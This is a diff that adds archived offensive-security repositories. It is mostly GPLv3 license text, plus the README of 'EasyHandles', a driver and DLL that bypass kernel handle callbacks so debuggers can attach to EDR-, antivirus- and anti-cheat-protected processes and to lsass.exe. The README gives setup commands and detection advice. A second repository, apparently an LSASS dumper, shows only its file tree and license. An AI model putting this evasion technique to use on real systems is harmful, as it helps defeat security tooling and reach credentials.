+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ Copyright (C)
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
+
+```
+
+`README.md`:
+
+```md
+# EasyHandles
+A driver + DLL combo which creates a handle from kernelmode to a target usermode process, bypassing kernel-level handle callbacks.
+Allows us to attach popular tools & debuggers such as Cheat Engine to callback-protected processes (EDR, AV, AC, etc). System processes can also be attached to, such as lsass.exe.
+
+## How does it work?
+
+We use the `ObOpenPointerToObject` function in kernelmode to create a handle to a target process; we do this while attaching the kernel driver to the stack of our DLL-injected process, which bypasses any kernelmode callbacks related to handle opening.
+
+** Note that processes protected by Process Protection Light (PPL) will still likely fail - other tricks are needed to get past this **
+
+A DLL is paired with the driver, which hooks `OpenProcess`. A request is sent to the driver from inside the `OpenProcess` hook to ask the driver for a handle to the target process. So, rather than `OpenProcess` going through the traditional pathway from userland to kernelspace's `ZwOpenProcess` and back, we instead send an IOCTL to our driver, and then return the handle which our driver creates instead by using `ObOpenPointerToObject`.
+
+## How to use
+
+### Driver
+
+- Compile the driver using VS, no special tricks are needed here. Put the compiled .sys into your System32/drivers folder.
+- Make sure DSE is turned off (or test mode is turned on), whhich may require disabling Secure Boot
+- in `cmd.exe`, run: `sc create EasyHandles type= kernel binPath=C:\Windows\System32\drivers\EasyHandles.sys`
+- then, run `sc start EasyHandles` - the driver should now be running. The rest occurs in the DLL from here on.
+
+### DLL
+- Compile the DLL
+- Inject it into a debugger like Cheat Engine, `OpenProcess` will be hooked inside your debugger
+- You can now try to attach Cheat Engine to processes which normally would not allow it, as the driver will get a handle request and the `OpenProcess` hook will return the handle created by the driver. The handle is directly inserted into the handle table of your usermode process/debugger, and no kernelmode callback are triggered.
+- If the driver handle creation failed, `OpenProcess` returns `NULL`.
+
+## Example:
+
+Screenshot of attaching Cheat Engine to the `Registry` process, which is normally protected
+
+
+
+## Detection & Prevention:
+
+- Since kernelmode callbacks related to handle openings are not triggered, the handle table for all processes must be walked (in the worst case), and the type of handle + target process must be checked (which is the same way you would check for open process handles in usermode). The way this occurs changes whether you're in kernelspace or userland, but both are well-documented.
+
+```
\ No newline at end of file
diff --git a/archive/Kudaes/Dumpy.txt b/archive/Kudaes/Dumpy.txt
new file mode 100644
index 00000000..7e224adc
--- /dev/null
+++ b/archive/Kudaes/Dumpy.txt
@@ -0,0 +1,2939 @@
+Project Path: arc_Kudaes_Dumpy__0_rurwh
+
+Source Tree:
+
+```txt
+arc_Kudaes_Dumpy__0_rurwh
+├── LICENSE
+├── README.md
+└── dumpy
+ ├── Cargo.toml
+ ├── bindings
+ │ ├── Cargo.toml
+ │ ├── build.rs
+ │ └── src
+ │ └── lib.rs
+ ├── build.rs
+ ├── data
+ │ ├── Cargo.toml
+ │ └── src
+ │ └── lib.rs
+ ├── dinvoke
+ │ ├── Cargo.toml
+ │ └── src
+ │ └── lib.rs
+ ├── dumper
+ │ ├── Cargo.toml
+ │ └── src
+ │ └── lib.rs
+ └── src
+ └── main.rs
+
+```
+
+`LICENSE`:
+
+```
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
